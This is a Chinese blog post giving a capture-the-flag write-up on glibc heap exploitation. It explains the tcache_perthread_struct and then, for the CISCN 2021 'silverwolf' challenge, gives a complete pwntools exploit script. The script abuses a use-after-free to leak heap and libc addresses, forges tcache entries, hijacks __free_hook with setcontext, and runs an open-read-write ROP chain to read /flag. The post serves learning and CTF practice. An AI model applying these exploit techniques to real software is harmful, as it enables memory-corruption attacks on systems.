前言(可忽略)
堆不愧是堆...知识点真的要多用动调查看堆的状态才好理解
tcache_perthread_struct的结构
源码
#define TCACHE_MAX_BINS 64
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
我们可以看到,该结构体有两个数组,一个是counts,另一个是entry
counts数组
counts的数组记录的是tcache上各个bin上的堆个数,如下图
这是bins的情况
这是heap_base的情况,也就是我们的tcache_perthread_struct的状况,被红框框起来的地方就是counts记录个数的区域
这是我们的攻击点之一
这是struct里的counts个数,可以看到个数是对应的
entry指针数组
如题,entry储存的是各个指针,存储的是各个bin链表上的首chunk的fd指针
而entry就储存在counts之下,这也是我们的另一个攻击点
大小
一般而言是0x250或者0x290,依旧前0x10是chunk头,记录该结构体的大小
攻击方法
通过TAF泄露出heap_base的地址,heap_base所在的区域就是tcache_perthread_struct,但我们不能修改它的chunk头,否则会破坏结构体。我们攻击的地方是从heap_base + 0x10的地方,这个地方就是我们的data域,首先伪造counts,然后就是修改entry为我们的恶意ROP链。常见的攻击方式有setcontext+orw(结不结合SROP因题而异)
例题[CISCN 2021 初赛]silverwolf
checksec
只能说堆题是这样的
源审
main
很经典的菜单
其中sub_C70是初始化和sandbox,仅允许使用orw
add
add的重点就是这几个,index只能为0,size不超过0x78,buf会指向v2
edit
索引依然是0,v0会指向buf,也就是我们最近申请的malloc,意味着我们能够修改的堆块只能是我们最近申请的堆块。后面还藏着个off-by-one漏洞,但是不重要,把以往的send变成sendline就好
show
标准的show函数,输出索引为0的堆块内容
delete
free索引为0的堆块,没有置空指针,明显的UAF漏洞
总结
因为索引只能为0,意味着我们只能对最近申请的堆块进行操作,大大限制了我们利用UAF的能力,没法用double free,但是我们仍可以malloc到一个我们想要的地址,只需要修改堆块里的fd指针即可,结合sandbox里只允许我们用orw,那么很明显就是通过劫持tcache_perthread_struct来布置恶意ROP链
动调过程
我先把各个功能的函数定义出来
def add(size):
p.sendlineafter('Your choice: ',str(1))
p.sendlineafter('Index:',str(0))
p.sendlineafter('Size:',str(size))
def edit(content):
p.sendlineafter('Your choice: ',str(2))
p.sendlineafter('Index:',str(0))
p.sendlineafter('Content:',content)
def show():
p.sendlineafter('Your choice: ',str(3))
p.sendlineafter('Index:',str(0))
def delete():
p.sendlineafter('Your choice: ',str(4))
p.sendlineafter('Index:',str(0))
泄露heap_base
先看看初始bins的情况
因为sandbox的存在,初始就会有一些堆块生成
接下来就是老一套了,UAF泄露出heap_base,都看到这了应该就不用多解释是怎么泄露出来的吧()
#gdb.attach(p)
add(0x78)
delete()
show()
p.recvuntil('Content: ')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.success('heap_addr==>'+hex(heap_addr))
heap_base = heap_addr - 0x11b0
log.success('heap_base==>'+hex(heap_base))
泄露libc_base
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
#gdb.attach(p)
for i in range(7):
#sleep(0.5)
delete()
edit(p64(0) * 2) #清除fd和bk指针,使其能够持续free下去
delete()
show()
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 #free tcache_perthread_struct into unsorted bins
log.success('main_arena==>'+hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>'+hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))
edit(b'\x00' * 0x78) #恢复结构体
在当初free的基础上,将其fd指针修改为heap_base+0x10
,两次add劫持到tcache_perthread_struct里,看看动调过程
edit之前
edit之后
可以看出来已经将其fd指向了tcache_perthread_struct,进行两次malloc即可劫持到里边
此时我们就可以泄露栈地址了,通过修改fd和bk指针欺骗系统让其可以持续free,待其填满0x250所在的bins链表后就可以进入unsorted_bin里泄露main_arena,进而泄露malloc_hook和libc_base
OK现在泄露完两个基质之后就可以构造了
tcache_bins构造恶意地址
该阶段Payload
rax = libc_base + 0x43ae8
rbp = libc_base + 0x21353
rdi = libc_base + 0x215bf
rdx = libc_base + 0x1b96
rsi = libc_base + 0x23eea
rsp = libc_base + 0x3960
free_hook = libc_base + libc.symbols['__free_hook']
read = libc_base + libc.symbols['read']
write = libc_base + libc.symbols['write']
#syscall = read + 0xf
syscall = libc_base + 0xe5965 #注意,只能是syscall;ret,可以在IDA中使用sequence of bytes寻找,编码为 0xf 0x05 0xc3
mov_rsp_rdi_a0 = libc_base + libc.sym['setcontext'] + 53
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8aa
orw1 = heap_base + 0x3000
orw2 = heap_base + 0x3060
fake_orw1 = heap_base + 0x2000
fake_orw2 = heap_base + 0x20a0
payload = b'\x00' * 0x40 #repair the counts,which is 64 byteds
payload += p64(free_hook) + p64(0) #0x20 0x30
payload += p64(flag_addr) + p64(fake_orw1) #0x40 0x50
payload += p64(fake_orw2) + p64(orw1) #0x60 0x70
payload += p64(orw2) #0x80
#gdb.attach(p)
edit(payload)
在布置恶意地址之前我们先来介绍一个函数setcontext
,是我们劫持tcache_perthread_struct的时候相当常用的函数
setcontext
看看它的源码
框起来的地方就是我们主要利用的地方,free是rdi寻址,而我们刚好可以利用rdi
setcontext函数就是通过rdi给各个寄存器赋值,但对我们来说只有rsp最重要,当然仅仅有rsp并不够,还要有rip,好在最后有ret指令,可以把执行地址迁移到我们的恶意ROP链上
所以我们通常使用的是setcontext+53,另一个原因是不想引用fldenv指令,防止造成程序崩溃
动调
OK现在该回到动调过程了
先修改counts数组,尔后修改entry为我们布置的地址
由于我们没有办法直接修改链表的内容所以我们需要在两个orw地址上再伪造两个地址,一个用来引用free,另一个用来跳转到orw上,我会一一给出解释
0x20 free_hook-->setcontext
0x40 存储flag
0x50 调用free
0x60 跳转至orw
0x70 orw的前半部分(因为size只有0x60)
0x80 orw的后半部分
ORW链+getshell
shellcode = p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0) + p64(rax) + p64(2) + p64(syscall)
shellcode += p64(rdi) + p64(3) + p64(rsi) + p64(orw1) + p64(rdx) + p64(0x100) + p64(read)
shellcode += p64(rdi) + p64(1) + p64(write)
#gdb.attach(p)
add(0x18) #free_hook
edit(p64(mov_rsp_rdi_a0))
add(0x38) #edit flag
edit(b'/flag\x00')
add(0x68) #orw1
edit(shellcode[:0x60]) #the place near the beginning orw
add(0x78) #orw2
edit(shellcode[0x60:]) #the place near the end orw
add(0x58) #fake2
edit(p64(orw1) + p64(ret))
#gdb.attach(p)
add(0x48) #fake1
#gdb.attach(p)
delete()
p.interactive()
来让我们跟着动调一步一步看效果
free的时候会调用setcontext+0x53
,原理和__malloc_hook是差不多的,我们再跟进
第一步会把我们储存在rdi + 0xa0的地址处的值取出来赋给rsp,也就会把我们的rsp迁到我们布置好的恶意ROP链上
继续跟进可以看到我们就开始执行ROP链了
到这就结束啦,就可以获得flag了
总结
利用tcache_perthread_struct的时候需要精确计算各个地址,步步为营,但如果熟练了就知道大概什么个方式了,很快就能写出来了。不过刚学的时候确实会一个头比两个大,纸上得来终觉浅 绝知此事要躬行,多动调几次就会好理解很多,所以说为什么动调是神!
标签:tcache,struct,libc,Ubuntu22.04,base,heap,p64 From: https://www.cnblogs.com/falling-dusk/p/18161022